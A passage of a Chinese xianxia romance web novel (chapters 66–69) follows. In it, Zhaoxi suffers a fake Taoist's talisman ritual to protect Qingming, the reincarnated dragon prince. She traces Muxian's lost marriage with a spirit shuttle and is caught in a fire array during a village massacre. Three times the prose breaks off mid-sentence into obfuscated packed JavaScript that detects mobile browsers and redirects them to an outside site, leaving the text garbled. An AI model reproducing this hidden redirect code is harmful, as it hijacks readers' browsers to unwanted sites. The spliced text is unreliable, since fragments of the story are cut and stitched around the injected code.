清明奋力挣扎,尚有些力气的他从中挣脱出来,看见一地碎片满腔愤慨,他抬起头来,几步闯进坛前,推翻了做法的桌子,木剑,黄符,全部散落满地凌乱不堪,道士满脸震惊不敢置信,一个凡人胆敢如此藐视神明。 此刻,般颉的脸上闪过一丝狡黠,朝曦从中猜到几分他的意图,遂即敛了手中的术,从人群中挤了过去。 “道长。”她扬声质问:“敢问道长来自何方?出自何门何派?师从哪位神仙?” 众人目光聚至朝曦身上,而清明看到突然出现的她,神色焦灼,摇头蹙眉,似在示意什么。 她当然知道他在担心什么,嘴角勾出浅淡一笑,以此安心。 道士看了一眼般颉,见他与一旁的王水清在嘀咕什么,无暇顾及,便只好潦草含糊的回答道:“贫道师门隐秘,不便告知尔等。” “那道长果真有降妖的本事?你在这里言之凿凿,说的比唱的好听,若是那妖怪来了,你可能降伏她?” “那是自然。”道士盲目自信,全然不知自己的处境。 王水清要上前拆穿她的身份,没想到被朝曦快了一步:“众位乡亲,我便是十六年前送清明去王富贵户长家里的人,大家仔细想想该有印象。” 村民中还有些记性好的,认出她来,老钱的邻居大姐夫妇,更是不用说,一眼便识出来。 “这位姑娘就是当年帮助老钱家的妹子,当年她不过是过路,见这家遗留下清明这个娃娃,便费心费力的帮忙,这份侠义心肠应该被记住,如今被一些黑心鬼污蔑,实在是让人……” 朝曦客气的点了点头:“方才户长夫人凭容颜不老便断定我是妖怪,荒唐可笑,这世间有许许多多的驻颜之方,尔等不知,不代表不存在。” “你矢口否认,敢不敢坐进道长的坛中接受,若是正常凡人,不会有任何损伤,若是妖,便会即刻丢了性命不得超生。”般颉谩笑得意,仿佛料定了她不敢。 “有何不敢。” 清明听闻,脸上终于得见一丝恐慌:“不行,这道士根本不是什么名门正派,谁知道他所使的是什么邪术?” “清明,你这么拦阻,可是心虚?” “你……” 王水清从旁拽了拽他的衣袖,柔声劝他:“清明,就算她不是妖,只要接受一试,真相明了,以后便不会再有人疑她,岂不更好?” “不妨事的。”她轻轻向他一笑,又问那道士:“若结果不是你说的那样,该当何论?” 道士看了看般颉,言语梗塞。 “你看他做什么,难道他是你的军师?” “……” 不等众人,朝曦自己坐进了坛中:“开始吧,你可好好做法,有什么看家本事可都拿出来。” 印象中听谁说过,下凡的神仙若是出了差错,这一世结束后不可直接返回仙界,而是要再次转世,直到通过考验为止。南溟若是以清明的身份做出违逆天道的事来,必定会在天界记上一笔,般颉这样引导,险恶之心显然易见,朝曦打定心思,一定要让他好好的,没有污点的回去。 66. 探缘梭 道士没有多少本事,符咒却很有作用,加上自己的伤势还未痊愈,这一场法事下来,五脏六腑如火燎一般,虽如此,为着不让亲者痛仇者快,朝曦努力让自己浑身上下都风轻云淡着,两根手指揪着一缕头发打着弯儿,眼角眉梢挂着笑,闲逸极了。 可以窥见般颉神色的诧异疑惑,他大约在想,为什么自己请的符一点作用都没起,而清明的眉头却始终未舒展过。 一柱香后,他急忙挣脱出来:“看见了吧,她根本不是什么妖,就是这个人在污蔑!” “这就能说明她不是妖?”义子不肯罢休,同谋道士补充道:“也有可能是她妖力太深,这几道符降她不住!” 一阵吁声自围观群众里传出,朝曦快步朝般颉走去,也不耽误她一把薅住了挡住她去路的道士的头,像扔小鸡仔一样将他甩开。 “我说义子,你的符是一点作用都没有啊?”她是想试试这个般颉,到底是下界投胎,还是本尊作乱。 “有本事你别走,我再去请高人来,定能让你原形毕现。” “呵呵……” 这幼稚的话语,莫不觉得好笑。“好好好,我等着,你快去吧,快去吧,来晚了可没有肉吃哦?” “你……” 般颉忿忿离去,而那一群道士意识到,立刻慌张跟上,连道具都顾不上拿,只听他们边追边喊:“喂,你只付了定钱,余款还没结哪!” 四遭作鸟兽散。 王富贵一家看着没被扳倒的朝曦,脸色惶惶不安,见她走来,两夫妇紧张的站起身来,恭敬中身子竟有些发抖,王水清同样紧张,但她很懂求生之道,似抓住救命稻草一样,紧紧抓住清明的手臂。 “清,清明,我爹已经将我许配给你了,你可不能看着这妖女害咱们。” “许配?”朝曦的步子僵住,连清明也是一脸懵然。 他挣了挣,没有挣开,便问:“许配一事从何说起?” “你忘了,正是她在我家差点用术害死我爹娘那天,虽说是当时情急下做出的决定,仓促了点,但婚姻之事,岂能反悔?” “……”朝曦看着她言真意切振振有词,又见清明那没有任何表情的脸,心中十分不爽快:“你同意了?” 清明尚未表明态度,王水清便抢过话来:“清明自幼长在我家,与我算是青梅竹马,他自然是乐意的。” 她娇柔一笑偎近清明,尚为少年的他少不得脸色通红。 “我才十六岁,目前还没有成亲的打算。” “我也才十六啊?我也不着急,没关系,咱们来日方长。” 朝曦咬了咬牙,心想未下界时南溟从不给她什么好脸色,如今这般铁定是在下界前,去北斗星君那儿作了什么手脚。 “您,听说您是清明的大姑?这您也算是我们的长辈了,如果您实在无处可去,我们王家屋宅宽敞,摘出一间给您也是不成问题的,只是我与清明以后成亲,是要独住的,您也知道我母亲挺唠叨,估计您住不惯,您不开心,清明做小辈的也不安心,不如将清明父亲那间房子修缮一番,您去住那儿,也算清净。” “王姑娘的口齿是天生的伶俐啊。” “阿姑高兴怎么说都好,水清听着。” 阿姑?这半鱼真的很会戳人心肺。 王富贵觍着脸笑道:“哎呀,今日成了亲家,那之前的不愉快全都一笔勾销了!哈哈哈。” 朝曦不吱声,心中再次默默将他家祖宗问候了个遍。 “你们说差了,我可没那福分当你家亲家,你们的亲家是那死鬼老钱。还有,姑奶奶我有地方住,不劳你们费心了。” 白了一眼几人,便甩袖离去,清明想要去拦,却被王水清拦的结实,眼睁睁看着她遥遥远去。 不想待在这里,不想看见王水清那副嘴脸,不想看见他们俩卿卿我我,朝曦忿忿的回了竹屋,尚未走进房中,胸腔便急切涌上一股热流,随即有腥热自口中喷出,接着便是一阵剧烈的咳喘,吐血,她扶着长竹咳的身子颤抖,持续了好一会儿,没了力气,才打了住,而此时她的脚下已是一滩血涡。 兜里的黑团子挣了出来,看见这一幕,恼火又担心。“道士虽庸,但那符咒的法力却不小,方才在阵坛里,姐姐按着我不许我出来,自己生生受着,本就未愈的伤势雪上加霜,那条龙可有感你的恩?” 朝曦拭去嘴角的血,浅弯起嘴角道:“大家朋友一场,这么斤斤计较可就没意思了,哈哈。” 话音刚落,忽觉自己的手腕漫上一丝冰凉,心中正奇怪,眼前一簇白影隐现,慢慢的白影化作白衣,是亦棠,他的脸色不太好,却不知是为了什么。 小篱笆很有眼力界的躲回了兜里。 “那符可是张天师亲手所画,你岂能承受?”切过脉象后,发觉朝曦虽然表象虚弱,元灵道行却进阶许多,亦棠知道这期间必定发生了不少事。 “我是不是也令亦棠君士别三日,刮目相看了?” “你还有心思玩笑?” 二人安坐在竹屋前搭的一张小桌边上,亦棠搀她坐下,取了一颗赤色的药丸送服下去后,又信手一幻,变出件绵软的小氅与她披上。而朝曦半天才反应过来,他竟知道符的事:“你都看到了?” “嗯。” “我这么做,是不是替殿下消灾挡祸了?” “很是,般颉始终意欲引他犯错,若是被天界知道,必定是要记上一笔的。” “可不我太明白,般颉与殿下始终是同门,他便这样不掩藏自己的心思吗?他这样,你们师尊也不管不问?还有这符,又是谁给他的?” 说了这许多废话,终于问到了点子上。一向从容的亦棠眉头高高簇起,辗转几番只好道出真相:“若无上面授意,他独自一人岂可成事?” “所以……是谁?” “神君宿敌众多,目前尚不清楚。” “除我是引,借我之由害殿下才是目的,这可真是一箭双龙,只赚不赔的好买卖。都说天界无争无斗,看来也不尽然哪。” “一箭双龙?” 神思飘忽游离着,唇舌却另有意识一般:“呃,说不准有一日我能化龙呐。” 亦棠一怔,点了点头。 有些无奈,她渐渐没有了往日的欢快,原以为躲到凡界,便可得一时的安全,若一直躲在凡界,便可得一世的安全,如今看来,事实远不如自己想的那样美好。 “我带你去镂茵香境避一避,在那里躲上几万年,等这些事都过去了,便安全了。” 朝曦摇了摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222424|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“那你倒不如给我个壳子,我当个乌龟比什么都安全。” “话不是那样讲。” “亦棠君。”她不知道该不该将自己整理好的头绪告诉他,毕竟那只是自己的猜测,毕竟,亦棠他师承雾仪山,他是个神仙。 “倘若有一天,我不得不成为这个妖王,你会不会同我绝交?” 面对她小心翼翼的试探,亦棠如鲠在喉,不知该怎么回答。 “真有那一刻,你觉得南溟会怎么办?” “殿下?殿下一定会在我登基之前,打死我。”想到南溟那副凶巴巴的样子,身子不由的一颤。 “呃,这样啊。” “这倒是个难题,不过我将才只是假设一番,咱们实在不必为一些莫须有的事情发愁,对了,你来这儿是?” 亦棠从袖兜里缓缓取出一物,那巴掌大的东西为一方绢子包裹严实,待他轻轻打开,方看着一只黑色的梭子呈在眼前。 见它长的朴实无华,朝曦便信手拿到眼前仔细观摩:“这是什么?” “探缘梭。” “探缘梭?”忽然想起亦棠曾跟她提起过这个雾仪山的宝贝,虽不说何等名贵,但这种仙山门派,约束管理十分严格,莫说宝物,便是一只汤匙也是要登记造册的,如此想想,这探缘梭绝不是能够随意拿到的。 她皱了皱眉头,拒绝他的好意:“我是很想证明身份,但是绝不是建立在朋友的牺牲之上。” “我虽不及南溟得师尊器重,但在他老人家心里,我也是有一席之地的,他心肠慈悲,想来不会太为难我。” “慈悲心肠?”不知怎么,心中对亦棠这句话充满了排斥,就好像认知里感觉这个形容是错的,但不明白为什么会有这种认知。 “朝曦,你真的好好考虑一下我说的。” “嗯,我考虑,一定考虑。” 她诚恳点头,诚然让人看起来并不诚恳。 亦棠是来送探缘梭的,她看着那大侠一般的白色身影离开后,垂眉打量着手中这只梭子,心想这宝物送来的可真是时候,她满意的紧握梭子,心中盘算着计划,先让章白带自己找一找暮曦的“遗物”,再去洞庭那儿匹配一下遗孤的遗物,最后,自然不要命的闯一闯雾仪山了。 心中暗暗赞赏自己的聪明,肩头被谁猛的一拍,就自己这仅有的魂魄险些也被拍散了,胸腔里陡然升起一片怒火,她转头便喝:“你知道这世上多少人是死于惊吓么?你是不是故意的?这么做你知不知道很不道德!” “……” 面具下的脸有些僵滞:“有,有这么严重么?” 她不理会,气哼哼的甩了甩袖子,便朝房中走去,小篱笆又从兜里窜了出来,看着愣在原处的暮闲,安慰道:“早就跟你说了,做人不要这么轻佻,姐姐不喜欢。” “南溟倒是不轻佻,老气横秋的像个夫子,真不明白她到底喜欢他什么?” “……”小篱笆语滞,显然对情情爱爱一类,不太了解。 “我问你呢?” “我也不太懂,不过你有没有听过一句话,叫颜值即正义?” “什么?” 看着暮闲一脸不忿,小篱笆好奇他到底是对南溟的颜值有疑义,还是对自己逊于南溟而不甘。 67. 结发 你找他时找不到,他找你时却很容易,朝曦对这种行为表示不欣赏,因为这会令人很没有安全感,特别是当他的老婆。 “你到底是?你们之间......” “曦儿,你到底想说什么?”暮闲一早做了好些饭菜,因为天气正好,便摆到了外面的桌上,他盛好一碗白粥放在她面前,看着她吞吞吐吐,感到费解。 朝曦看了看他,迅速整理好思绪,组织好语言:“我是想问,你的妻子姓甚名谁,是何许人,去了哪儿?你们发生了什么,因何失散?孩子如今何在?” “你怎么会有这么多问题。” “你管我,快说。” “你打听这些做什么,你又不嫁给我。” “......暮闲君,你做人如此的不实诚,谁敢嫁你?在凡界,女儿们嫁人都是要请媒人将对方祖宗十八代都打听个清楚的,至咱们认识,你除了告诉过我你叫暮闲,还告诉我过什么?” “是,是吗?可我并没有故意瞒你什么,你说的这些里,除了孩子,旁的我也记不清了。” “胡说八道,一个人怎么能将自己最重要的经历忘了呢?” “怎么不能?” 她盯着他,眼睛一眨不眨,对这种不配合的态度表示恼火。 暮闲放下汤匙叹了口气:“我真的不记得,我只是印象里模模糊糊记着我有个妻子,她长什么样,姓名氏族,发生了什么,去了哪里,我一概想不起来了,只是非常清楚,她不会再回来了。” “你说的你自己信么?” “我可以对天起誓。”说着立刻举手望天,道:“我暮闲今日所说,若有谎话,便叫我五雷轰顶,魂飞魄散。” 朝曦眉头紧锁,仍然很质疑,觉得这种忘尽一切的事儿,很难以置信。小篱笆吃的开心,感念吃饭不忘做饭人,便开口替他说话:“我听闻过,有人陷入沉睡很久后,便将前事忘的干净,也有重挫之后,伤了脑袋丢了记忆的。” “通常咱们将前者称做重启新生。” “后者呢?”二人皆很好奇。 小黑团子抹了抹嘴:“离魂症。” “离魂症?”莫名的熟悉又涌上心头,同样的想不起在哪儿听过或见过。 “世上有一种术,可以使人的魂魄分离,被分剥出去的魂魄可独自新生,不过不会拥有任何本体的记忆,此术名为离魂,亦唤择芜。” “择芜?”不太聪敏的脑袋努力想起,在南海时曾见南溟看过这类古籍。记得自己当时还问过,一种术怎么会有两个名字,大概南溟觉得自己是个草包,不想同自己废话,便也没告诉答案。“那它怎么有两个名字?” “这术的本质就是一种邪禁之术,仙族想用,当然要使之光明化。” 听到这儿,她有些错愕:“仙族也会用邪术吗?” 暮闲冷冷一哼:“神仙就都是好人了?” 朝曦自觉没有发言的余地,便羞愧的耷拉下脑袋。“那暮闲是前者还是后者?这两者有什么区别么?” “离魂一术凶险非常,一般玩家不会成功,多半是施术者与被支离破碎了的被施术者双双魂归阴曹了,看这位大哥如此白嫩康健的样子,定然是长眠了不少年岁,毕竟吗,睡觉使人精力充沛。至于二者的区别,前者命主本人几乎是没有记起的可能,后者便相反,或许某一天,某个时机,自己忽然就想起来了。”一股脑倒出这絮絮许多,可也不耽误他将桌上的早膳就要吃净。 “你怎么知道那么多?”大家懂得都很多,现在连这小黑煤球都有一句没一句的,衬托的自己像个白痴一般。 “出来混迟早是要还的,这个混,可能就是说的混日子吧。” 被戳到了痛处,朝曦重重拍了拍桌子,钻进屋里。屋外二人相视一笑,打趣说道:“她这算是恼羞成怒吗?” 暮闲似笑非笑的点了点头,可笑着笑着,脸上便泛出一丝苦笑来,小篱笆人小鬼大,很容易察觉出这丝异样情绪:“你在担心什么?” “天界已经下谕由太子景羽负责肃清妖魔二族异动之人,并捉拿妖族之首朝曦、姑姑、洞庭君和我,南溟等回返天界后从旁协助。” “唔,这才要开始了么。” “怎么,你以为这件事只是寻常打打闹闹?” “那倒不是,只是该来的迟早会来,早早晚晚都会来,恐惧担忧甚至臣服并不能让它不来。” “我也知道。” “那你在担心什么?这不是你们一直所期盼的吗?” 这反问中夹杂着质疑,甚至有些嘲讽,暮闲看着这小东西,附之一笑。 “我在担心朝曦,担心她不能全身而退。” “之前为什么不担心,还一意拉她下水?” “......”他看着小篱笆:“你有毒吧。” “事实本就如此,还不让人说话了?” “......” 他抚了抚额头,果然是近朱者赤近墨者黑,跟谁久了,说话行事都跟那人一样的作派。 “凡界也已经不安全了,我要带她回去。” “这天底下,没有一处是安全的,唯有自己强大,强大到让人畏惧,才是真正的安全。”小篱笆淡淡坐着,并不拦劝,因为它知道,暮闲根本带不走她。 竹屋内,闲来无事的朝曦正运术催动这探缘梭,只见那梭子玄于半空摇摇晃晃,好一会儿才有移动的苗头,思来大约是搁置太久没用的原因吧,朝曦跟着它,向竹屋的后门走去,它在屋外的房脚边停下,有少许灵息自一堆枯黄叶子中涌中,待梭子吸收灵气结束落地,朝曦扒开叶子,发现了两缕以红线绑在一起的青丝。 “结发为夫妻,恩爱两不疑。”她捧着青丝,无意吟出这么一句。片刻的发愣,醒过神来忽然想到什么便转身出去,脚步不曾挪出,她想要去找的暮闲已经站在她的面前,她看了看手中,问:“你知道这是什么吗?” “青丝,结发。”暮闲不复以往轻佻,脸上郁郁沉沉。 朝曦摊开手小心的解开那红绳,施以溶合之术,只见那青丝其中一缕被吸进暮闲的银色长发里,犹如溪水汇入江河,同宗同源的长在了一起,因颜色不同黑白分明,长合之后看起来突兀的很。 “你看,这是你的头发。” “是,是吗?”他的惊讶,远远高于自己。 朝曦忍不住环了环这间竹屋:“你真的一点都不记得了吗?如果不记得,那便是冥冥之中,指引你回来的。” “我不记得,一点都不记得。曦儿,跟我走吧。” “去哪儿?” “哪儿都好,不回蛇族,不回洞庭,普天之下会有我们一处容身之地的。” “暮闲,你这是在逃避。” “或许是吧?你不愿跟我走,对么?是因为南溟?” 她点了点头:“我无法放下殿下,至少我要看着他安好的回去。” “好吧。”暮闲落寞,神伤,与平日里的他如同两人,她看着面具中那双眼睛隐隐有些湿润,再深看一些,似能发现一缕幽怨,他没有再问自己,换作平常一定是要言语上纠缠一番的,而他现在的样子被霜打了一般,沉默寡言神色哀怨,他被这迷雾缠在其中,找不到出口便只好长袖一挥,变没了踪迹。 “这么看来,章白所说都是真的,梦里发生的事,也都是真的。” 收好手中的青丝,朝曦疾快的出门而去,她等不及了,她要立刻证明这头发是暮曦的。而到了章白那儿,他似乎预见自己会来,早已备好了暮曦的物件,一双绣着海棠的赭色鞋子。 海棠,遗孤房中的桌案上,还放着那枚已经抚旧了的海棠荷包。 朝曦立刻取出探缘梭,见它将鞋子灵息吸收进去,同那青丝的灵息溶合在一起,心中的猜测得到了证实,松了一口气,不一会儿,又叹了一口气。 “你找好了鞋子在等我?你怎知我会来?” “你同她如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玄霜嘴角一弯,似乎看穿她所想一样,身子一倾,将门牢牢挡住:“洞庭君去虎族了,不在这儿。” “那我,可否在这儿等他回来?” “可以,不过你要去别的房间。” “......” 玄霜轻轻推她出来,反手将门带上,也不同她多话便离去。朝曦看着被牢牢锁上的房门,捏了捏兜里的小篱笆:“姑姑可真能啊,一眼就看出来我目的不纯。” “并非人家能,而是姐姐太笨了。” “是,是吗?” “嗯。” 这次不成功,下次便更无可能了,朝曦琢磨其他方法,想到这房间的窗子靠湖,便准备从那儿下手。准备下水前,她戳了戳小篱笆:“你怕水吗?” “不怕水淹,不怕火燎,放心大胆的干吧。” “你倒省事,不过你怕什么啊?” “没有人会将自己的弱点告诉别人的吧。”真是一条傻蛇,它想。 “切,小气。” 投身入湖,这洞庭的湖水清澈甘甜,置身其中感觉舒畅的很,她游了好几圈儿,发现总找不到地方,灵机一动,她便拿出那梭子,梭子感应到了灵息,便极快的将她拖拽上岸,很精准的爬到了那间屋子的窗下,很惊喜的是那窗子没有上锁,朝曦忍不住表扬了梭子,路引的不错。 透过窗子看到了那枚荷包,她拧了拧身上的水,爬进房中,梭子感应到物主的灵息,吸收之后与已有的灵息再次溶合,这是没什么悬念的事,只是能在证实之后能够疑惑尽消而已。 她摆弄着荷包回想着梦境里发生的事,不明白,怎么都不明白:“暮闲分明是爱她的,为什么会伤她?” 有风拂过,房子中的纱帘被轻轻掀开,朝曦无意间的一转头,看到了供奉着的樽那樽牌位,念头驱使,她总想上前去拜一拜,可顾虑着被姑姑发现,便未多做停顿。 68. 屠村 灵息的双双溶合,证实了遗孤和暮闲便是自己梦境中的那对夫妇,只是暮闲若是她的夫君,在玄霜手下听差又是怎么一回事? 左右思索终究越不过那段连暮闲自己都记不起的过往,在设想了诸多可能皆无法成立后,朝曦笃定,玄霜是知道内情的,她身为蛇族首脑,怎么可能用一个自己不了解的属下?要知道,暮闲这个位置,在整个妖族也是举足轻重的。 那么问题又来了,若是她知道二人之间发生的事,到底出于何种心态让暮闲留在蛇族?又存着什么样的目的让暮闲接近自己这个冒牌蛇?活这么大都没费过这种脑筋,或许是自己太笨了,南溟要是在肯定不至于这般难解。 最终还是要去一趟雾仪山的,见到她,一切便都迎刃而解。 带着小篱笆准备返回卧龙山,途径幽冥司时忽然想起册官竺枫,继而想到在冥界的册子里,是不是能查到暮闲的身份?好奇之心压倒了她对竺枫的惧怕,拐进幽冥司和竺枫纠缠了好一会儿,他才肯通融一下,帮忙察看有关暮闲的册子,可是翻遍所有,都没有关于他的一丝一毫,素来稳重如竺枫,这会儿脸上也难掩费解了。 “是有神秘的,但多少都会有些痕迹,像上次你们来查的惊木,虽说信息不够详细吧,但起码证明六界之间,这个人存在过。而这位暮闲君,无痕无迹,不受约束管制,真不知他到底是何许人也。”他卷起手中最后一札薄子,放进高阁。 “这不受约束管制,是不是也可以说他,不死不灭?” “……” 浅浅一句话,重重落在竺枫心头,这问题一经说破,倒不得不直视了。 “洪荒以来,不死不灭的多是上古大神同一些魔君妖王。你说,暮闲会是哪个?” “难道是魔君临世?” 她怔怔看着竺枫,而他只是摇头:“谁知道呢?” “魔族人不都是凶恶之徒么?暮闲虽跻身妖族,但我几乎没见他做过什么伤天害理的事,是不是你这簿子不准?要不你来查查我,我的名字是朝曦,你查一查看看?” “不会不准。”竺枫很是肯定。 “天底下哪有一定的事。” 拗不过她便只好依从,又是半天过去,同样未见她的信息。“也没有。” “怎么可能呢?”脑袋上青筋一跳,本有些慌张,可忽然想起了一件事,便又立刻松快下来:“啊,我忘了,朝曦是殿下才为我改的名字,你找菜菜,菜菜是我的本名。” 已经是一天一夜过去了,竺枫脸色极不耐烦,可为了维持风度一再压制:“我,下值了。” “竺枫大哥,再帮帮忙好吗?” “不好。” “为什么?怎么说咱们也算相识,你就算讲着亦棠的面子,也行个方便不是?” “亦棠。“他舒了口气:“如果不是为着亦棠,我一个都不会帮你查,不要太得寸进尺了。” 竺枫真的下值,抻了个懒身便扬长而去,而杵在原地的朝曦有些懵然:“我真有那么得寸进尺吗?” 兜里的声音回答:“的确是这样。” 暮闲,不会真的是新魔君吧?神思联想到梦境,与范懿斗法后男子印堂眉心滋生出魔息,现下已经证明了暮闲就是那个男子,难道真的是? “没有证据,就当不是。”她自己给自己了个定心丸。 牵挂南溟,二人飞快回去,竹屋前,章白正来回踱步,他搓着手,步伐越来越快,神色仓皇不安。 “哎呀,你可算是回来了。” “怎么了?出什么事了吗?” “卧龙村被屠了。” “什么?” “数月前有伙叛军杀进村来,这支队伍精壮彪悍,战斗力极强,在一年前已经抢了好些城池,见钱便抢,见人便杀,只不过那都是些富庶之地,这卧龙村穷乡僻壤,便是叫花子都会绕道走的,起初我还奇怪,直到殿下带岭村里的男子拼死抵抗了好一阵儿,才知道,这伙儿叛军是东海二殿下引来的。” “怎么会这样?现在呢?” “尚在拼杀,殿下他们剩的人也没几个了。” “那王家呢?” “你一走两年,殿下不知从哪打听到你住在这儿,日日都来候着,那王家的女儿不乐意,早就同他悔婚了,殿下倒也同意,至于王富贵夫妇也在一年前得了怪病,不治而死了。” 朝曦顾不上再问,抽身便往村中赶去,身后章白扯着噪嗓子再次提醒:“切切不可用术法干涉,否则自身反噬,也会影响殿下凡间气运!” 火把一簇簇明光晃动,章白说的那支队伍在村子中央扎营起寨,四周严密把守,巡逻队来回巡,兵士众多。 架子上绑了个人,浑身伤痕,血色淋漓,影影绰绰看着像是清明,朝曦心头一紧,想再看的仔细一点,但那人奄奄一息垂着脑袋,又实在看不清楚,关心则乱,镇定理智早已抛去九霄之外,不思不顾的就要向那闯去。 兜里的小篱笆支愣起毛刺扎了她一下,劝道:“下面那么多人,你不能用法术,去了只能是送死。” “你看看殿下浑身是伤,被折磨成这样,我看不下去。” “下凡便是来历劫的,你一味替他摒除障碍,消除困难,这样对他真的好吗?他回去,未必会感激你。” “可……”朝曦看着远处的士兵不时用鞭子抽打他,心头的焦躁被生按着,活活憋出两串泪来,她情愿在那挨鞭子吃拳头的是自己,可他是南溟,是她心中圣洁高傲的南海殿下,这便不成。坚定的信念促使她毫不犹豫的滑下小坡,奔向那去。 小篱笆只有一声叹息并一丝苦笑,笑自己明知是劝不住,还偏偏多此一举。 一群士兵手持兵器将她团团围住,围的严丝合缝,滴水不漏,看着那一张张面孔充满了轻蔑,不时迸出些许邪恶的笑容来,她能有的表情也仅有冷冷一笑,凡人么,大约就是这样,恃强凌弱,可谁又会永远强?谁又会永远弱呢? “区区凡胎□□,也敢这等猖狂。” 手中已夺过长鞭,扬臂挥起,只三两个来回便将这些人甩开,因为对方不具有可以一看的战斗力,所以赢的很容易,然而当她疾步走到木架前,看到那个人并不是清明时,方后知后觉,这是个圈套,又上当了。 她站在木架前,四周一圈忽的燃起火来,火势起而高涨,隐隐有法力咒语自焰中印出,这是个法阵。 法咒如同火势裹身,来势汹汹猛烈如虎,灼烧感疾快的蔓延至每一寸肌肤,疼痛钻入骨髓,她受不住疼痛便伏在地上满地打滚,微许清醒里她远没想过这个阵会这样厉害。至于那到底是什么法阵,朝曦无力思考,因为五感全都被疼痛占满。 一个身影骤然闯入,他拿着被褥疯狂的扑着周边的火,是清明。 她看着那身影,疼痛中意识错乱:“殿下,我好疼!” 清明脸上一怔,还是将她抱在怀里:“为什么会这样?”他望着汹汹火势,慌神中看到了主谋者在不远处正观着这一切,神色得意嚣张。 多日的拼杀已经让那个良善少年蜕变,如今的他心硬如铁,面貌在不断的打杀后愈渐冰冷,他渐渐具备了一个首领该有的一切,可这些所有并不足以让他产生无边恨意,因为被毁掉的这里,没有什么是他在乎的。 眼看着被折磨的生不如死的朝曦,他的心中陡然窜出一团怒火,快而剧烈,立即取出身后弓箭,对准了远处目标。 对手也以相同的方式回应着他,挽起了弓,拉紧了弦。当清明也拉紧弓弦,准备让箭先一步射进对方的胸膛时,手臂被一双滚烫的手抓住,他转眼看去,朝曦气力微弱的摇头,他想不通她为什么要拦着自己。 朝曦却不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255016|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能告诉他,若他因为自己伤了般颉,返回天界后必然要罪加一等。拥有战神命格,他一直都为天界重视,可几次三番为了自己越界破规,便是再厚的父荫,再强的能力,犯了众怒,踩了红线,终究不能为天界法度各族仙神所容。 她只是,只是.....自责愧悔加入了疼痛,她完全没想到现在会因为自己将他推入险境。 “清明……”她挤出一丝清醒来:“你,你快走吧。” “我不能眼睁睁看着你……” “你放心,我自己可以脱身的,你快些走。” “不,我不走。” 火势逐渐演变为烈焰,他一如过去那般仗义,朝曦奋力起身推他出去,清明却牢牢抓紧她的手不放:“要走一起走,否则不必费这个力气。” 自己是出不了这个火阵了,她继续推他,他紧紧不放,两人都用尽自己的力气,火势涨至半人高就快将他们淹没,凡体的清明受不住这烟熏火燎,终于支撑不住倒在地上,与此同时,几支长箭自对面飞速射来,朝曦急忙护在了他身前,并以最后的气力,将他推出了火阵。 “朝曦……” 隔火相望,那双灵润的黑瞳里,落下两串水珠。远处坡上的人仍然不肯罢手,继续挽弓对准她,清明先他一步飞出羽箭,般颉侧了侧身子,只被射中了手臂。 一阵哀嚎响彻山坳,目光所聚,紫色银纹大蟒显形于火阵之中,般颉达到目的面色大喜,命一众士兵拉起了长弓,当数百羽箭对准了大蟒齐齐射出,清明闯入火阵,挡在大蟒身前。 他小小身量,如何挡的住呢?大蟒轻轻将他围住,脑袋伏在他身前。 时间再次静止,一切停滞,羽箭悬在他们面前,那一蟒一人消失于无形。 竹林。 一阵鸡鸣破晓,黑夜换白昼,昨夜的雷雨交加与今晨的云舒云卷对比鲜明,凡人只以为雷霆巨闪皆是自然气候,殊不知,这些从来不只是它的表象,眼中看到的是雷,看不到的却是劫,是噬。 般颉的箭上有毒,自回到这里,朝曦便一直昏迷着,清明庆幸自己生长于此,对周边草药很是了解,在将她的箭毒吸出之后,为她敷上了碾碎的草药,自己也捏了一撮儿吞了下去,连着两三日,身上的热与毒双双褪去后,才慢慢苏醒。 脑袋酸沉,抬手揉了揉眼睛,她的动弹惊醒了伏在她身边的清明,疲累的脸上照进一束阳光,微微舒展出罕见的笑容,可以看出,他很开心。 “你醒了?” 她点了点头,由他扶着起身坐好,看着他身上划伤,刀伤,燎伤各式伤痕,想他在下界前是何等的鸾姿凤态,如今竟弄的这样狼狈辛苦,心中酸涩着,眼晴也不觉漾上一圈水汽,她用袖子轻轻扫去,又仔仔细细将他打量一遍:“可还有什么伤么?” “没有,这些皮肉伤,对我来说根本不算什么。” 对于他的安慰,朝曦苦苦一笑:“都是我连累了你,我本以为可以让你过的好一些,没想到……看来我的想法错的。” “你错在哪儿呢?没有你,我根本活不到现在。” “不会的,没有我肯定也会有张三李四王二麻子,总之你会活下来的。” 他默了默:“我不认识什么张三李四王二麻子,我只认识你。” “我只是打个比方,我也不认识他们。” “嗯,那就不要再歉疚什么的了,你对我来说不是随便谁能够代替的。”边说着,边用汤匙盛了糖水送到她的嘴边:“那天你疼痛之中唤了声殿下,他是谁啊?” “殿下?他是……”她抿了抿嘴,不知该怎么告诉他。 “你不想说就算了,等你想说的时候再说吧。” 这还说不清了。 他的脸上闪过不安,却又装作不在意的样子,收拾好茶盏便起身:“我去看看药。” 69. 石化 